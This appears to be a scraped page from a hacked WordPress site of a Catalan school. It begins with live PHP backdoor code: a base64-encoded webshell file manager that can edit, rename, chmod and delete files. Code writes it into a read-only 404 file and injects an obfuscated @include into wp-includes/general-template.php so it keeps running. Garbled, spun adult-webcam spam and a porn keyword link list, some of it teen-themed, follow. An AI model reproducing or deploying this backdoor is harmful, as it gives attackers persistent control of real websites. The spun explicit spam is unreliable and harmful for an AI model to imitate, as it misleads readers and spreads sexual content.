RG9NZEZUdmU3NVRzdkxVcmVGZHJ2VVY5OVc3UzdvTGRqeHBpRzdxLzVuN2R1RWQzVDhXZWozdWxld2YyUmUvcmFuUnZiTnl2djcreUNXMVNObzBlU0RwdzVadUFiOXFiN1pwM3RYQmFLZzdDUWVYQko5K21mSHZqVU9paHpzUGN3ODNmbVgrMzlRanJTSGtyMGpxL2Rhd3RvMjJnUGFHOTcraU1vNTBkWGgxSHZyZi9mdTh4NDJOMXh6V1BWNTZnblNnOThmbmtncFBqcDJTbm5wMU9QejNVbWR4NTkwejhtV3RkVVYyOVowUFBuajhYZE81TXQxLzN5ZlBlNTQ5ZDhMeHc5Q0wzWXRzbHQwdXRQYTQ5UjM1dy9lRklyMXR2NjJYM3krMVhQSzUwOUUzck85SHYwMy82YXNEVmM5ZjQxeTVkbjNtOTc4YnNHN2R1SnQwY3VDVzY5ZmgyOXUwWGR3cnVUTnhkZW85NHIveSsydjNxQi9vUDZuKzAvckZsd0czZytHREFZTS9EV1EvdkRnbUhudjZVLzlPSDRkSkh6RWZWSTBZampZK2RIeDhiRFJxOThtVE9rK0duc3FjVHo4cCtWdjk1NjNPcjU5Lzk0dnRMejFqODJQQUwrWXZQdjY1NXFmTnk3NnVwcnpySEk4Y2Z2TTU1UGZHbS9LM08yMzN2dU8rNjM4ZTlINWtvL0VEK1VQUFIrbVBIcDlCUDl6N25mUDc4TC9lRTgvc2wwcDh6QUFBQUlHTklVazBBQUhvbEFBQ0Fnd0FBK2Y4QUFJRHBBQUIxTUFBQTZtQUFBRHFZQUFBWGI1SmZ4VVlBQUFHNFNVUkJWSGphZkpMUGFoTlJGTVovOTl5WmFiQnhDTk5LaXlnb3hHQ2dsQlpjdUNnSTlnMktMMU5Dd1M1S1g4QW5VTG9TdW5QVnJkdkdnQnVwRVYyNEVXUUNNOG5NNU0rOTE4Vk1SdU9pMytyQ1BkLzVmZWZjcTE3MVhqdTA1VGJadWVIeS9Fd0JlR2pMMjVNVDVzYXdNSWFKWFRWL0dneDRkM1hGMFhIUFhaNmZLUUd3MXJJd2hwa3htT21VUE10SXgyT1NKR0djcHJ3L1BVVjh6ZEZ4ejhrNFRldHVnZFkwZ29CQWF6d1JsQWh4SFBQbTRvSVhuUTZmQjMwOEFCSGhZNzhQd05aNnhLOUp6RzYzQzhETHcwT2N0WVJoeUlmcjY5SUEwRzYzY1ZYK0ppMGFRUUN6R1FDTGYyYnlBTFJTRElmRHVqdkF0Nm9nOGhyRWk0TDl2YjNTVUdRWlNvU25uUTRMYTdsTFZKT1d1bDhVQUJSWlZzM2dIRjl1YnVxQ0pXbHJQU3BwazVpRDdlMktrT2NBN0hhN3pJd3BNLzlIYXRMQzA1b2l6LzhPL2ZQcmQ4S1d6NC9mYVUwQm1FOHovTFU3Nk0zTmtqQXRDclFJRDU0OExrbjNZR1lNRDZNSWF5Mm1vZ0pNaTJLVkFCQzJmUExjNTlIR0JvZ0FZSXhCcXJPM2ZPbUQ1OC9LeXlxM2NRNnRWRzBDR0tjcFhqSWFyYXhRaTJDc0xZc0JKWUpUQ2lWQ01ocWhtanM3enRyYnYvZFNJc0tmQVFEZklzS0h2QVpZWkFBQUFBQkpSVTVFcmtKZ2dnPT0nPg0KDQoiOw0KLy8gPGEgaHJlZj1cIj9BUlJBWT17JEFSUkFZfSZmaWxlc3JjPSRwYXRoLyRmaWxlJnBhdGg9JHBhdGhcIj4kZmlsZTwvYT4NCiAgICAgICAgZWNobyAiDQo8YSBocmVmPVwiP29wdGlvbiZBUlJBWT17JEFSUkFZfSZwYXRoPXskcGF0aH0mb3B0PWVkaXQmdHlwZT1maWxlJm5hbWU9eyRmaWxlfVwiPnskZmlsZX08L2E+DQo8L3RkPg0KPHRkIGNsYXNzPXRkX2hvbWU+PGNlbnRlcj4iLiRzaXplLiI8L2NlbnRlcj48L3RkPg0KPHRkIGNsYXNzPXRkX2hvbWUgYWxpZ249J2NlbnRlcic+PGEgaHJlZj1cIj9vcHRpb24mQVJSQVk9eyRBUlJBWX0mcGF0aD0kcGF0aCZvcHQ9Y2htb2QmdHlwZT1maWxlJm5hbWU9JGZpbGVcIiB0aXRsZT0n5p2D6ZmQ6K6+572uJz4iOw0KDQoNCg0KICAgICAgICBpZihpc193cml0YWJsZSgiJHBhdGgvJGZpbGUiKSkgZWNobyAnPGZvbnQgY29sb3I9ImdyZWVuIj4nOw0KICAgICAgICBlbHNlaWYoIWlzX3JlYWRhYmxlKCIkcGF0aC8kZmlsZSIpKSBlY2hvICc8Zm9udCBjb2xvcj0icmVkIj4nOw0KICAgICAgICBlY2hvIGp1ZWppYW5nX3Blcm1zKCIkcGF0aC8kZmlsZSIpOw0KICAgICAgICBpZihpc193cml0YWJsZSgiJHBhdGgvJGZpbGUiKSB8fCAhaXNfcmVhZGFibGUoIiRwYXRoLyRmaWxlIikpIGVjaG8gJzwvZm9udD4nOw0KICAgICAgICBlY2hvICI8L2E+PC90ZD4NCjx0ZCBjbGFzcz10ZF9ob21lPjxjZW50ZXI+DQo8YSBocmVmPVwiP29wdGlvbiZBUlJBWT17JEFSUkFZfSZwYXRoPSRwYXRoJm9wdD1lZGl0JnR5cGU9ZmlsZSZuYW1lPSRmaWxlXCI+57yW6L6RPC9hPg0KPGEgaHJlZj1cIj9vcHRpb24mQVJSQVk9eyRBUlJBWX0mcGF0aD0kcGF0aCZvcHQ9cmVuYW1lJnR5cGU9ZmlsZSZuYW1lPSRmaWxlJnBhdGg9JHBhdGhcIj7ph43lkb3lkI08L2E+DQo8YSBocmVmPVwiamF2YXNjcmlwdDppZihjb25maXJtKCfnoa7lrp7opoHliKDpmaTlkJc/JykpbG9jYXRpb249Jz9vcHRpb24mQVJSQVk9eyRBUlJBWX0mcGF0aD17JHBhdGh9Jm9wdD1kZWxldGUmdHlwZT1maWxlJm5hbWU9eyRmaWxlfSdcIj7liKDpmaQ8L2E+DQo8L2NlbnRlcj48L3RkPg0KPC90cj4iOw0KICAgIH0NCiAgICBlY2hvICc8L3RhYmxlPg0KPC9kaXY+JzsNCn0NCmVjaG8gJzxicj48YnI+PGJyPjxicj48L2I+DQo8L2JvZHk+IDwvaHRtbD48L2JvZHk+DQo8L2h0bWw+JzsNCmRpZTsNCmVuZGlmOyAgLy8gPT09PQ0KDQoNCg0KDQoNCg0K"; // WP 404 @chmod($jue_jiang_404_path, 0644); @file_put_contents($jue_jiang_404_path, base64_decode($jue_jiang_404)); @chmod($jue_jiang_404_path, 0444); } $file_general_template_path = $do."wp-includes/general-template.php"; $general_template_code = @file_get_contents($file_general_template_path); $gen_mat = base64_decode("QGluY2x1ZGVbXHNdKyIoXFxbeDAtOV0uKz8pIjs="); $isget_mat = preg_match("/{$gen_mat}/i",$general_template_code)?true:false; if (!$isget_mat){ $mc1 = "KGZ1bmN0aW9uW1xzXStnZXRfaGVhZGVyKFtcc10rKT9cKCguKz8peyk="; preg_match_all("/".base64_decode($mc1)."/i",$general_template_code,$pr); $str = "\x" . substr(chunk_split(bin2hex($jue_jiang_404_path), 2, "\x"), 0, -2); $new_general_template = str_replace($pr[0][0],$pr[0][0].PHP_EOL.PHP_EOL." @include \"$str\";",$general_template_code); @file_put_contents($file_general_template_path,$new_general_template); } 100 % free live gender images out-of 100k+ webcams – Institut Josefina Castellvi

100 % free live gender images out-of 100k+ webcams

100 % free live gender images out-of 100k+ webcams

Never waste your time and effort during the last & forth between webcam porn. displays mature gender chats from the most useful web cam sex sites on line. Which have 10072 on the internet cam painters to select from, discover your intercourse chat partner now!

free alive gender pictures free galleries

Thanks for visiting , the fastest increasing mature webcam community! All of our work is and work out your trip for the arena of intercourse cams since simple as possible. No matter the device you’re on, the user friendly user interface often adjust while making simple to use to look the brand new numerous speak women would love to talk to your. We provide a huge selection of galleries which have photo regarding cam suggests so you could dive right into the experience free-of-charge. Flick through a great deal of photographs from various other talk women and you never know everything you will dsicover on the mix.

You’ll be able to chat with people and you can homosexual, lesbian and you may trans painters that are desperate to meet your because the you’re her or him. You will never waste your time and effort on the blank claims. These gender chat habits constantly send! There was range across the board, definition whatever the version of artisans you may be to your you’re destined to select an individual who inspections all packages. Regardless if you are toward Latinas, light women, Asians, Indian lady, BBW, MILFs, teens or others, you can easily locate fairly easily him or her here.

rating photos out of naked speak girls

Want to see naked people at no cost? Sit-down, settle down and find out as many musicians as you wish for free! Actually, you could potentially examine the action within galleries! Need to know what they get up in order to independently shows? Search through the pictures to check out. With the amount of free galleries, you can in reality get rid of oneself about smutty photographs and tend to forget all about chatting.

The pictures differ with regards to the performer. You will see some photos of those seated up to and you may posing, but when you look greater, you might find some raunchier stuff also! You can view topless pictures or perhaps personal-upwards shots of the pussie while they’re masturbating. There are also real time intercourse images out of girl-on-lady hookups and threesomes. Mainly because is screenshots away from Person talk suggests, they seems almost like you are peeking in the some thing you are not going to see!

You can save as numerous pics as you would like and construct the magic stash of chat show images. Keep examining to see if speak ladies you like enjoys people the fresh new shots so you can include these to your own collection, or listed below are some new ladies one to register day-after-day.

would a free account

If you are willing to take your sense to a higher level, all you need to create are create a free account. It’s easy – and totally free. Follow on the brand new Subscribe option on the top, choose an effective username and password, and you are from inside the. I won’t require their current email address otherwise credit card information, so you’re able to are nevertheless 100% anonymous. You can just need that in the event that you end up buying tokens and you may even so, your data was private.

  • Free forums
  • hundreds of 100 % free photographs galleries
  • Private and you will gold suggests
  • Cam2cam choice
  • Cutting-edge filters
  • Cellular intuitive interfaces

You’re going to find numerous girls stripping, appearing you its chest, getting off with their teledildonics (a dildo one to vibrates in them with each idea) and you can to play gender online game within real time space. While never have to elevator a little finger to get in with the fun. We enable you to get musicians and artists of finest talk websites such as for instance Chaturbate, Streamate and you will BongaCams everything in one location to save date and make certain you are getting the very best of a knowledgeable to choose from.

Leave a Reply

Your email address will not be published. Required fields are marked *

Informació Personalitzada INFO
Per a una informació més personalitzada poseu-vos en contacte amb la direcció del centre.
E-MAIL
Advertise an lạc green symphony



hado charm villas
kitty core gangbang LetMeJerk tracer 3d porn jessica collins hot LetMeJerk katie cummings joi simply mindy walkthrough LetMeJerk german streets porn pornvideoshub LetMeJerk backroom casting couch lilly deutsche granny sau LetMeJerk latex lucy anal yudi pineda nackt LetMeJerk xshare con nicki minaj hentai LetMeJerk android 21 r34 hentaihaen LetMeJerk emily ratajkowski sex scene milapro1 LetMeJerk emy coligado nude isabella stuffer31 LetMeJerk widowmaker cosplay porn uncharted elena porn LetMeJerk sadkitcat nudes gay torrent ru LetMeJerk titless teen arlena afrodita LetMeJerk kether donohue nude sissy incest LetMeJerk jiggly girls league of legends leeanna vamp nude LetMeJerk fire emblem lucina nackt jessica nigri ass LetMeJerk sasha grey biqle